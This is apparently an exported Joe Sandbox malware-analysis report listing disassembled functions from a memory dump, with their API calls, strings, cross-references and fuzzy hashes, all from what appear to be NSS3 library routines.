w=Vl, xrefs: 6C564431, 6C564E25, 6C56533D, 6C565536, 6C5655A0, 6C564A83, 6C564A99, 6C565313, 6C565325, 6C564CFC, 6C564A8C, 6C5651AC, 6C5648B9, 6C5646CD, 6C564786, 6C5648D5, 6C56490D, 6C565404, 6C565411, 6C56541E, 6C565365, 6C56537B, 6C56536E, 6C56542A, 6C565466, 6C5653C9, 6C565211, 6C564BA1, 6C565013, 6C56521D, 6C564C69, 6C56528B, 6C564691, 6C565058, 6C564E5E, 6C564FA4, 6C564FEB, 6C564FDF, 6C564F9D, 6C564E77, 6C564EDF, 6C564576, 6C564F90
a CHECK constraint, xrefs: 6C564D62, 6C564D6D, 6C564E95, 6C564EA0
weekday , xrefs: 6C5654AB
start of , xrefs: 6C56517A
-, xrefs: 6C564FBA
non-deterministic use of %s() in %s, xrefs: 6C564D71, 6C564EA4
40f-21a-21d, xrefs: 6C5644D0
second, xrefs: 6C564BCA
an index, xrefs: 6C564D53, 6C564E86
a generated column, xrefs: 6C564D58, 6C564E8B
w=Vl, xrefs: 6C5647FB

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=Vl$w=Vl$weekday
API String ID: 39653677-3943739391
Opcode ID: 76de2b593ec435b0c89d1a8302b721135f22e10921f54efa70f4ec7d7b12b319
Instruction ID: e679db3bc32f7dc61eb78e578dae10fba24154e9b2c9839e6052acc2e59ab13a
Opcode Fuzzy Hash: 76de2b593ec435b0c89d1a8302b721135f22e10921f54efa70f4ec7d7b12b319
Instruction Fuzzy Hash: 83A234306087848FD711CF36C860366B7E2AF86318F548A5DE8D65BF62EB35D886C746

Function 6C5C6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C571C6F,00000000,00000004,?,?), ref: 6C5C6C3F

Part of subcall function 6C61C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C61C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C571C6F,00000000,00000004,?,?), ref: 6C5C6C60
PR_ExplodeTime.NSS3(00000000,6C571C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C571C6F,00000000,00000004,?,?), ref: 6C5C6C94

Strings

gfff, xrefs: 6C5C6D9C
gfff, xrefs: 6C5C6D30
gfff, xrefs: 6C5C6CF5
gfff, xrefs: 6C5C6CFD
gfff, xrefs: 6C5C6D66

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0f33eb0af0a5ab8679a52c6d4a141c5330a1f6f105bdb03f4f542a5c216948fc
Instruction ID: d9153873b94aa315f723b65387e1d2a396c788177b7589b9422dc90b62f71a7f
Opcode Fuzzy Hash: 0f33eb0af0a5ab8679a52c6d4a141c5330a1f6f105bdb03f4f542a5c216948fc
Instruction Fuzzy Hash: 70513C72B016494FC708CDADDC526EEB7DA9BE4310F48C23AE442DB781DA38D906C752

Function 6C584420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C584444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C584466

Part of subcall function 6C5D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D1228
Part of subcall function 6C5D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5D1238
Part of subcall function 6C5D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D124B
Part of subcall function 6C5D1200: PR_CallOnce.NSS3(6C6D2AA4,6C5D12D0,00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D125D
Part of subcall function 6C5D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5D126F
Part of subcall function 6C5D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5D1280
Part of subcall function 6C5D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5D128E
Part of subcall function 6C5D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5D129A
Part of subcall function 6C5D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5D12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C584494

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 8f7f4a66ec0cc9b8db71f95dd89f18b071d1b18c33b50405e7186a569cbbc62c
Instruction ID: ccd9e6dc5a4d09b80ebd0628f0d120729de00bf205dc2e73c1ed7a11ec70dcfa
Opcode Fuzzy Hash: 8f7f4a66ec0cc9b8db71f95dd89f18b071d1b18c33b50405e7186a569cbbc62c
Instruction Fuzzy Hash: 5511A5B2D017149BD7208F659C805A7B7FCFF99218B044B2EEC8E52A00F371B9988791

Function 6C50AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0hl, xrefs: 6C50ACC0, 6C50AD22, 6C50AD5E, 6C50AE45
Phl, xrefs: 6C50ADDB, 6C50ADF5, 6C50AE6A
phl, xrefs: 6C50ADA7
winUnlock, xrefs: 6C50AE18
winUnlockReadLock, xrefs: 6C50AE9F

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID:
String ID: 0hl$Phl$phl$winUnlock$winUnlockReadLock
API String ID: 0-1567062270
Opcode ID: 5f9a92f4294be0da9df1e7f4535c94c3c004a5fd4112847565c3c23ad1149dd3
Instruction ID: 47ed43b42e99242d2db70be4b5c7649f58dc5b8cd62a58aeb14cf64eba435dfc
Opcode Fuzzy Hash: 5f9a92f4294be0da9df1e7f4535c94c3c004a5fd4112847565c3c23ad1149dd3
Instruction Fuzzy Hash: B1718D716082409FDB14CF2AD885AAABBF5FF8A314F14CA19F94997301D730AA85CBD5

Function 6C5464D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

WBQl, xrefs: 6C54655C
not authorized, xrefs: 6C546D47, 6C546D4C
authorizer malfunction, xrefs: 6C546E3E
WBQl, xrefs: 6C54679E

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID:
String ID: WBQl$WBQl$authorizer malfunction$not authorized
API String ID: 0-2417258358
Opcode ID: 7c8081edd44269c198f0cbc2afd364ab4e9abca9c5e3c201a378c6eb85472251
Instruction ID: 7b7f88284d864f9d9049123e0d4456205c1bc72cbc96a8679ec7b744d28eb82b
Opcode Fuzzy Hash: 7c8081edd44269c198f0cbc2afd364ab4e9abca9c5e3c201a378c6eb85472251
Instruction Fuzzy Hash: 8A624970A04205CFDB14CF19C884BA9BBF2FF89308F1581ADD9159B766DB36E956CB80

Function 6C566410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C566401,?,?,0000001C), ref: 6C566422
WSAGetLastError.WSOCK32(?,?,?,?,6C566401,?,?,0000001C), ref: 6C566432

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 58ea6a75c53f61fc1c7d9ddb01d961235bbec3caa1900c8c0b812cdbe8ccb44f
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 7BE0CD351002046FCB00DF75CC4485A37959F09228740C910F529C7A70EE31D4558794

Function 6C58A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52db51d46e5c9a02d0cae9342303144e9ec647f29c53f1e8729706d5c86cd392
Instruction ID: 5047f0a890b5d618f8063583a030d19c46489bc88ae5c8580662155840a003c8
Opcode Fuzzy Hash: 52db51d46e5c9a02d0cae9342303144e9ec647f29c53f1e8729706d5c86cd392
Instruction Fuzzy Hash: E5819270A02225CFDF18CF15D984BAA7BE4FF88308F15816DE81A9B795DB74D941CB80

Function 6C640C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15185e3bd59acdad070f3357c7d748649db143ed96327ef0680db96c083ea0d7
Instruction ID: e48d14850dbd6b2e38b1a8137b41ed61d4a8fdbdc99c9a4c711408a0e8300490
Opcode Fuzzy Hash: 15185e3bd59acdad070f3357c7d748649db143ed96327ef0680db96c083ea0d7
Instruction Fuzzy Hash: 6D11BC79704255CFCB00DF29C880AAA77A2FF85368F14C06DD8298B701DB71E8068BA4

Function 6C5B4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a86fcf39ce7486ef6965c621352570106081a977f7f55a0ad394997e29247ec
Instruction ID: e248c61b2ffc96964f20705f458e6f225b6b6c52c415792cbbb16d6d883b6e33
Opcode Fuzzy Hash: 9a86fcf39ce7486ef6965c621352570106081a977f7f55a0ad394997e29247ec
Instruction Fuzzy Hash: 0711C975A002199F9B00DF59C9819EFBBF9EF8C214B16416AED19E7301D630ED118BE1

Function 6C5D4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4C5B
PR_smprintf.NSS3(6C6AAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5C4F51,00000000), ref: 6C5D4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C5D4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C5D4DA2
free.MOZGLUE(?), ref: 6C5D4DB9
free.MOZGLUE(00000000), ref: 6C5D4DCF

Strings

timeout, xrefs: 6C5D4C91
every, xrefs: 6C5D4CA1
rootFlags, xrefs: 6C5D4D47
rust, xrefs: 6C5D4D22
any, xrefs: 6C5D4C96
ootT, xrefs: 6C5D4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C5D4D9D
0x%08lx=[%s %s], xrefs: 6C5D4D80
slotFlags, xrefs: 6C5D4D34
%s,%s, xrefs: 6C5D4C4B

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 6e911be2f61b503fc9f685c979ca4f5293fe2f24b9b10fe554255dc493ad3cd6
Instruction ID: 704e4dff133d5a0a6c6cbbf2adbdcc15de7cb777dcb1a9408751bf8fbc0d61e4
Opcode Fuzzy Hash: 6e911be2f61b503fc9f685c979ca4f5293fe2f24b9b10fe554255dc493ad3cd6
Instruction Fuzzy Hash: 5C418DB1900241ABDB11AF9D9C84ABB3665AF9630CF1A4125E8164B701E732FD25C7DF

Function 6C5B4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5B4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C5B4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C5B4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4DB7

Part of subcall function 6C61DD70: TlsGetValue.KERNEL32 ref: 6C61DD8C
Part of subcall function 6C61DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C61DDB4

Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607AD
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607CD
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607D6
Part of subcall function 6C5607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4F204A), ref: 6C5607E4
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,6C4F204A), ref: 6C560864
Part of subcall function 6C5607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C560880
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,6C4F204A), ref: 6C5608CB
Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(?,?,6C4F204A), ref: 6C5608D7
Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(?,?,6C4F204A), ref: 6C5608FB

TlsGetValue.KERNEL32 ref: 6C5B4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C5B4DEC
PR_Unlock.NSS3(?), ref: 6C5B4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C5B4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C5B4E71
free.MOZGLUE(00000000), ref: 6C5B4E7A
PR_Unlock.NSS3(?), ref: 6C5B4EA2
TlsGetValue.KERNEL32 ref: 6C5B4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C5B4ED6
PR_Unlock.NSS3(?), ref: 6C5B4F01
free.MOZGLUE(00000000), ref: 6C5B4F2A

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ad3882e38a7916c433a52acf761d5be8384f3a51c259cc8d953f39339b5ec8d9
Instruction ID: d1015df58b673b60a408ae783a1e0e35e34224ead15264b336dec27a308fe6fa
Opcode Fuzzy Hash: ad3882e38a7916c433a52acf761d5be8384f3a51c259cc8d953f39339b5ec8d9
Instruction Fuzzy Hash: A6B11475E00205AFDB11DF69DC94AAA7BB4BF46318F044128ED05A7B01EB34E964CBD6

Function 6C5E0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,^l), ref: 6C5E0C81

Part of subcall function 6C5CBE30: SECOID_FindOID_Util.NSS3(6C58311B,00000000,?,6C58311B,?), ref: 6C5CBE44

Part of subcall function 6C5B8500: SECOID_GetAlgorithmTag_Util.NSS3(6C5B95DC,00000000,00000000,00000000,?,6C5B95DC,00000000,00000000,?,6C597F4A,00000000,?,00000000,00000000), ref: 6C5B8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5E0CC4

Part of subcall function 6C5CFAB0: free.MOZGLUE(?,-00000001,?,?,6C56F673,00000000,00000000), ref: 6C5CFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5E0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C5E0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C5E0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C5E0D7D
free.MOZGLUE(00000000), ref: 6C5E0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5E0DC1
free.MOZGLUE(00000000), ref: 6C5E0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5E0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5E0E0F

Part of subcall function 6C5B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C597F4A,00000000,?,00000000,00000000), ref: 6C5B95E0
Part of subcall function 6C5B95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C597F4A,00000000,?,00000000,00000000), ref: 6C5B95F5
Part of subcall function 6C5B95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C5B9609
Part of subcall function 6C5B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5B961D
Part of subcall function 6C5B95C0: PK11_GetInternalSlot.NSS3 ref: 6C5B970B
Part of subcall function 6C5B95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C5B9756
Part of subcall function 6C5B95C0: PK11_GetIVLength.NSS3(?), ref: 6C5B9767
Part of subcall function 6C5B95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5B977E
Part of subcall function 6C5B95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5B978E

Strings

*,^l, xrefs: 6C5E0DCC
-$^l, xrefs: 6C5E0C64
*,^l, xrefs: 6C5E0C69, 6C5E0DE0, 6C5E0C80, 6C5E0C8B, 6C5E0CAF

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,^l$*,^l$-$^l
API String ID: 3136566230-2728749200
Opcode ID: 7b5d7340f437d201eeb13f498f3b253eec7bbcde1b410cceefa7165d3cbbb96c
Instruction ID: f29c81bd06add65fd82f978b6f5ef535d44472fdcd7a2ff1ed06737a24d103fb
Opcode Fuzzy Hash: 7b5d7340f437d201eeb13f498f3b253eec7bbcde1b410cceefa7165d3cbbb96c
Instruction Fuzzy Hash: 494115B1900245ABEB009F65DD81BAF7A74EF8430CF040129ED1967741EB75EE14CBE2

Function 6C592C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?Yl,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C62
